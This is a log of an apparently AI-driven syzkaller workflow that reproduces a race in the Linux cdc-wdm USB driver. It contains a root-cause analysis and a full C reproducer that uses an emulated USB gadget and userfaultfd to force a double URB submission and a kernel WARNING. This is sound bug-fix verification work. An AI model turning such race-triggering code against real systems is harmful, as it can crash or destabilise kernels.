| 0/0 |
2026/09/11 21:27 |
flow |
repro-c |
2h26m
Results: map[EquivalenceAnalysis:The reproducer successfully triggered the expected crash. The crash signature matches the original bug description exactly, with a WARNING in `usb_submit_urb` called from `service_outstanding_interrupt` and `wdm_read`. OtherCrashReports:[------------[ cut here ]------------
URB ffff88818b9a9400 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0 drivers/usb/core/urb.c:379, CPU#0: syz-executor178/5841
] ReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
void init_descriptors() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
}
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
init_descriptors();
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
} Reproduced:true ReproducedBugTitle:WARNING in service_outstanding_interrupt/usb_submit_urb ReproducedCrashReport:------------[ cut here ]------------
URB ffff888113ca3c00 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0 drivers/usb/core/urb.c:379, CPU#0: syz-executor370/5853
Modules linked in:
CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:usb_submit_urb+0x7c/0x18b0 drivers/usb/core/urb.c:379
Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
FS: 0000555570a60400(0000) GS:ffff8881a4c6f000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f33f1b12000 CR3: 0000000103f65000 CR4: 0000000000352ef0
Call Trace:
<TASK>
service_outstanding_interrupt+0x155/0x2b0 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x86d/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f33f2b711fe
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
</TASK>
----------------
Code disassembly (best guess):
0: 4c 89 f0 mov %r14,%rax
3: 48 c1 e8 03 shr $0x3,%rax
7: 80 3c 28 00 cmpb $0x0,(%rax,%rbp,1)
b: 74 08 je 0x15
d: 4c 89 f7 mov %r14,%rdi
10: e8 d9 60 da fa call 0xfada60ee
15: 49 83 3e 00 cmpq $0x0,(%r14)
19: 74 40 je 0x5b
1b: e8 fe 0e 6b fa call 0xfa6b0f1e
20: 48 8d 3d 37 bd 35 09 lea 0x935bd37(%rip),%rdi # 0x935bd5e
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: b8 f0 ff ff ff mov $0xfffffff0,%eax
34: eb 11 jmp 0x47
36: e8 e3 0e 6b fa call 0xfa6b0f1e
3b: eb 05 jmp 0x42
3d: e8 .byte 0xe8
3e: dc 0e fmull (%rsi)
]
|
| 1/1 |
2026/09/11 21:27 |
action |
kernel-checkouter |
1m
Results: map[KernelSrc:/app/workdir/cache/src/ce36d4fa58fd0d26adec8ea07a7a140cd22c084c]
|
| 2/1 |
2026/09/11 21:29 |
action |
kernel-builder |
14m
Results: map[KernelObj:/app/workdir/cache/build/33541915ad6060adf894bb71c8e3daae88132567]
|
| 3/1 |
2026/09/11 21:43 |
action |
codesearch-prepare |
9m
Results: map[Index:codesearch-index]
|
| 4/1 |
2026/09/11 21:52 |
agent |
initial-researcher |
10m
Model:
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program for the strictly defensive purpose of verifying a bugfix.
=== TOOL SELECTION GUIDELINES ===
- When looking up C function or struct definitions, prefer codesearch-definition-source
and codesearch-struct-layout first.
- Fall back to read-file or grepper only if symbol lookup fails or when inspecting macros,
headers, or non-C files.
=== CRITICAL PROHIBITIONS ===
- Do NOT propose an exploit. Focus solely on minimal technical reproduction of the bug state.
- Do NOT write long explanations. Keep your analysis and strategy proposal concise.
- Do NOT assume that the target bug has already been fixed just because a git commit title
or description mentions a similar bug or fix. Commit messages often reference related issues
or partial fixes. Proceed with proposing a reproduction strategy regardless of historical fix commits.
Prefer calling several tools at the same time to save round-trips.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Reply: This is a classic race condition in the CDC WDM driver where two different execution contexts concurrently submit the same Control Read URB (`desc->response`), triggering the `URB submitted while active` warning.
### Root Cause Analysis
The `desc->response` URB is submitted in three places:
1. `wdm_int_callback()`: When a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification is received and `desc->resp_count` was 0.
2. `service_outstanding_interrupt()`: Called by `wdm_read()` when it finishes reading data, provided `desc->resp_count` is still > 0 (meaning more notifications are pending).
3. `wdm_rxwork()`: A workqueue scheduled if the interrupt endpoint stalls (`-EPIPE`) or if `usb_submit_urb` fails with `-ENOMEM`.
The race occurs between `wdm_rxwork()` and `service_outstanding_interrupt()`:
- When the interrupt endpoint stalls, `wdm_int_callback()` jumps to the `sw:` label, scheduling `wdm_rxwork()`.
- `wdm_rxwork()` checks and sets the `WDM_RESPONDING` bit. If it was 0, it drops the `iuspin` lock and calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
- Concurrently, if a userspace `read()` finishes consuming previously received data, it calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `desc->resp_count`. If it remains > 0, it also sets `WDM_RESPONDING`, drops the `iuspin` lock, and calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
If both threads drop the `iuspin` lock and call `usb_submit_urb()` at the same time, the URB is submitted twice, triggering the warning.
To achieve the necessary state (`desc->resp_count >= 2` and `WDM_RESPONDING == 0`), the device must send a second notification *before* responding to the first Control Read URB. The second notification increments `resp_count` to 2 but doesn't submit the URB (since it's already active). When the first URB completes, `wdm_in_callback()` clears `WDM_RESPONDING`, leaving the perfect state for the race.
### Reproduction Strategy
We can reliably reproduce this without fault injection by using a USB Raw Gadget and `userfaultfd` to control the timing.
1. **Setup USB Gadget**: Emulate a CDC WDM device with a Control endpoint (ep0) and an Interrupt IN endpoint (ep1).
2. **First Notification**: The gadget sends a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1. The host driver increments `desc->resp_count` to 1 and submits the Control Read URB to ep0.
3. **Second Notification**: *Before* responding to the Control Read URB, the gadget sends a second `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1. The host increments `desc->resp_count` to 2, but does not submit a new URB.
4. **Data Response**: The gadget now responds to the pending Control Read URB on ep0 with some data (e.g., 10 bytes). The host copies this data, clears `WDM_RESPONDING`, and wakes up any readers.
5. **Block `read()`**: A userspace program sets up a `userfaultfd` region and calls `read(/dev/cdc-wdmX, buf, 10)`. The `read()` syscall blocks inside `copy_to_user()` waiting for the page fault to be resolved.
6. **Trigger `wdm_rxwork`**: The gadget sends a STALL (HALT) on the ep1 Interrupt IN endpoint. The host receives `-EPIPE`, which schedules `wdm_rxwork()`.
7. **Win the Race**:
- `wdm_rxwork()` starts executing, sets `WDM_RESPONDING`, drops the lock, and prepares to submit the URB.
- The userspace program resolves the `userfaultfd` page fault.
- `read()` finishes `copy_to_user()`, sees the buffer is empty, and calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `resp_count` from 2 to 1, drops the lock, and also prepares to submit the URB.
8. Both contexts concurrently call `usb_submit_urb()` on `desc->response`, triggering the `URB submitted while active` WARNING.
|
| 5/2 |
2026/09/11 21:52 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 4528
output: 41
thoughts: 258
Thoughts: **Debugging the `URB Submitted While Active` Warning**
My current focus is a critical bug report flagged by the system: `WARNING in service_outstanding_interrupt/usb_submit_urb`. The specific warning message, `URB ffff888112540000 submitted while active`, immediately tells me I'm dealing with a race condition or a logic error in how URBs (USB Request Blocks) are being managed. The fact that a URB is being submitted *again* before its previous submission has been fully processed is a classic sign of a problem. The call trace points me directly to `drivers/usb/core/urb.c:379` within the `usb_submit_urb` function, specifically at offset `0x1689/0x19b0`. This is the core of where the kernel is detecting the problematic state.
